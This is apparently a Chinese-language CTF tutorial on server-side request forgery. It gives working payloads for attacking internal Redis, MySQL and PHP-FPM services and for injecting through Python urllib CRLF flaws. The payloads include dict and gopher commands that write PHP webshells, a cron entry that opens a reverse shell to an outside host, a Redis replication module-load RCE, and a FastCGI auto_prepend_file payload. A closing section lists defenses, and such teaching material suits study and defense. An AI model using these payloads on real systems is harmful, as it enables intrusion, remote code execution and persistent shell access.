浅析SSRF在CTF中的各种实现方式
字数 1533 2025-08-18 11:37:03

SSRF在CTF中的高级利用技术

1. SSRF基础与Redis利用

1.1 SSRF简介

SSRF(Server-Side Request Forgery)是一种攻击者能够从服务器端发起任意请求的安全漏洞。在CTF比赛中,SSRF常被用于攻击内网服务,特别是Redis、MySQL等数据库服务。

1.2 Redis未授权访问利用

Redis未授权访问是SSRF攻击的常见目标,主要利用方式包括:

  • 反弹shell
  • webshell写入
  • SSH key上传

1.3 使用dict协议攻击Redis

dict协议可以用于与Redis服务交互,典型攻击流程:

  1. 信息收集

    dict://127.0.0.1:6379/info
    
  2. 写入webshell

    flushall
    config set dir /var/www/html
    config set dbfilename shell.php
    set webshell "<?php phpinfo();?>"
    save
    
  3. 十六进制编码绕过特殊字符过滤
    当直接使用?等特殊字符被过滤时,可使用十六进制编码:

    dict://127.0.0.1:6379/set:webshell:"\x3C\x3fphp\x20phpinfo\x28\x29\x3b\x3f\x3e"
    
  4. 写入定时任务反弹shell

    set 1 '\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
    

    十六进制编码版本:

    dict://127.0.0.1:6379/set:webshell:"\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/127.0.0.1/2333\x200\x3e\x261\n\n"
    

1.4 端口探测

dict协议也可用于端口存活探测:

dict://127.0.0.1:6379/

2. Gopher协议高级利用

2.1 Gopher协议基础

Gopher协议比dict协议更强大,可以构造任意TCP流量。

2.2 攻击Redis流程

  1. 抓取正常Redis流量

    tcpdump -i lo port 6379 -w redis.pcap
    
  2. 提取并编码流量
    将抓取的十六进制流量转换为URL编码格式,如:

    %2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a
    
  3. Web环境下双编码
    在Web环境中需要对payload进行双重URL编码。

2.3 主从复制攻击

当直接写入webshell受限时,可使用Redis主从复制:

  1. 设置主从关系

    slaveof <attacker_ip> <attacker_port>
    
  2. 主机执行命令

    config set dir /var/www/html
    config set dbfilename shell.php
    set webshell "<?php phpinfo();?>"
    save
    
  3. 抓取流量并编码
    将主从复制过程中的TCP流量抓取并编码为Gopher payload。

2.4 主从复制RCE

在Redis 4.x/5.x中可实现RCE:

  1. 设置备份路径和文件名

    config set dir ./
    config set dbfilename exp.so
    
  2. 设置主服务器

    slaveof <attacker_ip> <attacker_port>
    
  3. 加载恶意模块

    module load ./exp.so
    
  4. 执行命令

    system.exec 'whoami';
    system.rev <attacker_ip> <attacker_port>
    

3. MySQL攻击技术

3.1 无密码认证攻击

当MySQL无密码或使用--skip-grant-tables时:

  1. 抓取登录流量

    tcpdump -i lo -s 0 port 3306 -w mysql.pcap
    
  2. 关键点

    • 登录流量中的00 00 00 03
    • 认证成功标志01 00 00 00 01
  3. 写入webshell

    select '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php';
    

3.2 工具辅助

可使用工具快速生成MySQL攻击payload:

  • Gopherus
  • SSRFmap

4. FastCGI攻击技术

4.1 攻击原理

利用PHP-FPM的php://input.htaccess/user.iniauto_prepend_file/auto_append_file实现代码执行。

4.2 攻击条件

  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上一个PHP文件的绝对路径

4.3 攻击步骤

  1. 构造payload

    {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': '/var/www/html/index.php',
        'SCRIPT_NAME': '/index.php',
        'QUERY_STRING': '',
        'REQUEST_URI': '/index.php',
        'DOCUMENT_ROOT': '/var/www/html',
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': 'localhost',
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': '48',
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    
  2. 利用工具

    • Gopherus
    • P神的exp

5. Python urllib头注入SSRF

5.1 漏洞版本

  • Python 2.7.10之前
  • Python 3.4.4之前
  • CVE-2019-9740 (Python 3.7.x和2.7.16之前)
  • CVE-2019-9947

5.2 注入方式

  1. IP地址和端口号分隔符处注入

    http://192.168.10.137:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123:8080/test/?test=a
    
  2. 端口号后面注入

    http://192.168.10.137:7777/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n
    

5.3 实战利用

url=http://foo@127.0.0.1:6379%20@www.sina.com/

或更复杂的CRLF注入:

url=http://foo@127.0.0.1:5000%20@www.sina.com/%3Furl=https://baidu.com

6. 防御措施

  1. 输入验证

    • 严格校验URL协议、端口和主机名
    • 使用白名单限制可访问的域名和IP
  2. 服务加固

    • Redis设置密码认证
    • MySQL避免使用--skip-grant-tables
    • 限制PHP-FPM的执行权限
  3. 网络隔离

    • 将敏感服务置于内网
    • 设置防火墙规则限制出站连接
  4. 软件更新

    • 及时更新Python等存在SSRF相关漏洞的软件

通过掌握这些SSRF高级利用技术,可以在CTF比赛中有效攻击内网服务,同时也能更好地理解如何防御此类攻击。

SSRF在CTF中的高级利用技术 1. SSRF基础与Redis利用 1.1 SSRF简介 SSRF(Server-Side Request Forgery)是一种攻击者能够从服务器端发起任意请求的安全漏洞。在CTF比赛中,SSRF常被用于攻击内网服务,特别是Redis、MySQL等数据库服务。 1.2 Redis未授权访问利用 Redis未授权访问是SSRF攻击的常见目标,主要利用方式包括: 反弹shell webshell写入 SSH key上传 1.3 使用dict协议攻击Redis dict协议可以用于与Redis服务交互,典型攻击流程: 信息收集 : 写入webshell : 十六进制编码绕过特殊字符过滤 : 当直接使用 ? 等特殊字符被过滤时,可使用十六进制编码: 写入定时任务反弹shell : 十六进制编码版本: 1.4 端口探测 dict协议也可用于端口存活探测: 2. Gopher协议高级利用 2.1 Gopher协议基础 Gopher协议比dict协议更强大,可以构造任意TCP流量。 2.2 攻击Redis流程 抓取正常Redis流量 : 提取并编码流量 : 将抓取的十六进制流量转换为URL编码格式,如: Web环境下双编码 : 在Web环境中需要对payload进行双重URL编码。 2.3 主从复制攻击 当直接写入webshell受限时,可使用Redis主从复制: 设置主从关系 : 主机执行命令 : 抓取流量并编码 : 将主从复制过程中的TCP流量抓取并编码为Gopher payload。 2.4 主从复制RCE 在Redis 4.x/5.x中可实现RCE: 设置备份路径和文件名 : 设置主服务器 : 加载恶意模块 : 执行命令 : 3. MySQL攻击技术 3.1 无密码认证攻击 当MySQL无密码或使用 --skip-grant-tables 时: 抓取登录流量 : 关键点 : 登录流量中的 00 00 00 03 认证成功标志 01 00 00 00 01 写入webshell : 3.2 工具辅助 可使用工具快速生成MySQL攻击payload: Gopherus SSRFmap 4. FastCGI攻击技术 4.1 攻击原理 利用PHP-FPM的 php://input 和 .htaccess / user.ini 的 auto_prepend_file / auto_append_file 实现代码执行。 4.2 攻击条件 PHP-FPM版本 >= 5.3.3 知道服务器上一个PHP文件的绝对路径 4.3 攻击步骤 构造payload : 利用工具 : Gopherus P神的exp 5. Python urllib头注入SSRF 5.1 漏洞版本 Python 2.7.10之前 Python 3.4.4之前 CVE-2019-9740 (Python 3.7.x和2.7.16之前) CVE-2019-9947 5.2 注入方式 IP地址和端口号分隔符处注入 : 端口号后面注入 : 5.3 实战利用 或更复杂的CRLF注入: 6. 防御措施 输入验证 : 严格校验URL协议、端口和主机名 使用白名单限制可访问的域名和IP 服务加固 : Redis设置密码认证 MySQL避免使用 --skip-grant-tables 限制PHP-FPM的执行权限 网络隔离 : 将敏感服务置于内网 设置防火墙规则限制出站连接 软件更新 : 及时更新Python等存在SSRF相关漏洞的软件 通过掌握这些SSRF高级利用技术,可以在CTF比赛中有效攻击内网服务,同时也能更好地理解如何防御此类攻击。